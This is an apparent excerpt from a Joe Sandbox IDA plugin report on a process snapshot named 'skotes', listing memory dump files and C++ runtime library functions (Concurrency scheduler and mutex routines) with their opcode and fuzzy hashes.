Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: aad4442ec37567ae529e992f1fd6e3c75365212ee1a0ca53041a87c9b01805d0
Instruction ID: 1f2f7dd9f59fca9f6d9a12b197c22964cec3ab5719b464399c5c482249acaa3d
Opcode Fuzzy Hash: aad4442ec37567ae529e992f1fd6e3c75365212ee1a0ca53041a87c9b01805d0
Instruction Fuzzy Hash: 76417C20A0424A9ADF34FBA8845A7AD7F76BF90304F1444ABE8456F3D2DB258E04C772

Function 005DE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 005DE7D7

Part of subcall function 005DE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 005DE577
Part of subcall function 005DE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 005DE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005DE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 005DE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 005DE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 005DE879
Concurrency::location::_Assign.LIBCMT ref: 005DE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 005DE8B5

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 7f32b68bd2ab47b3886beb5ccc3567e24bdd9c257f1977760974aa77b5000a5c
Instruction ID: 2778b4a9f110f8a0f92564e21af49516ecb77d92f9d25022e0718e01db4f62db
Opcode Fuzzy Hash: 7f32b68bd2ab47b3886beb5ccc3567e24bdd9c257f1977760974aa77b5000a5c
Instruction Fuzzy Hash: 2A411B35A00209DFDB15EF68C499BADBBB5FF88310F1484AADD459B382DB34A941CB91

Function 005C6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005C6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 005C6F22
std::_Rethrow_future_exception.LIBCPMT ref: 005C6F32
__Mtx_unlock.LIBCPMT ref: 005C6FD5
__Mtx_unlock.LIBCPMT ref: 005C70DB
__Mtx_unlock.LIBCPMT ref: 005C7116

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 75070208842612fb5810b83fb1fbe5a56aad86637d41a4bcf91cdd7e4552c4aa
Instruction ID: afc1fb00b2fe6f100ef1b5b99c2928a6cdc235cfbff80e6db30875f17786eddc
Opcode Fuzzy Hash: 75070208842612fb5810b83fb1fbe5a56aad86637d41a4bcf91cdd7e4552c4aa
Instruction Fuzzy Hash: 2BC1C0719046499FDB20DFE4C949FAABFF4BF44310F04492EE81697681EB35AA44CBA1

Function 005D44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 005D4538
ListArray.LIBCONCRT ref: 005D456C
Hash.LIBCMT ref: 005D45D5
Hash.LIBCMT ref: 005D45E5

Part of subcall function 005D9C41: std::bad_exception::bad_exception.LIBCMT ref: 005D9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 005D474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005D47A4

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: cadc3d66077b7337d53100d1ec862dc4a6431f8b1045d40dd49132a41e3844be
Instruction ID: cfd8bc3896f71b415c6048c3ef9777e177d5fc7a205c2a62ef6d4162489f8b82
Opcode Fuzzy Hash: cadc3d66077b7337d53100d1ec862dc4a6431f8b1045d40dd49132a41e3844be
Instruction Fuzzy Hash: 1D816EB0A11A62BBD718DF78C845BD9FFA8BF49700F10461BE42897381DBB4A520CBD1

Function 005CECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 005CECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 005CED17

Part of subcall function 005CF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 005CF3FA

__alloca_probe_16.LIBCMT ref: 005CED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 005CED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 005CEDC6
__freea.LIBCMT ref: 005CEDEC

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
